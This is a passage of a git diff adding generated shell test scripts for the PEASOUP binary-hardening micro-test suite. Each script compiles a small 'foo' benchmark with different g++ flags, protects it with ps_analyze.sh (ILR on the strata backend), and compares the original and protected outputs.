+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d32673310b8f675e90d14b005a610f5389c8cb0b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..37e3fa87b1e23cf421cabf37957064daaed79c7c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6e80aa86d5b353fcbe8dc861fe4d04d35835a2ec
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6ce5eac27665ae2e1d000eccffabebda18c43ba5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..59eed8929ade1406470bd28be92c5776048bfb40
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ffee134f7948c8b9a88c00dfcfd0c3960f7467f0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
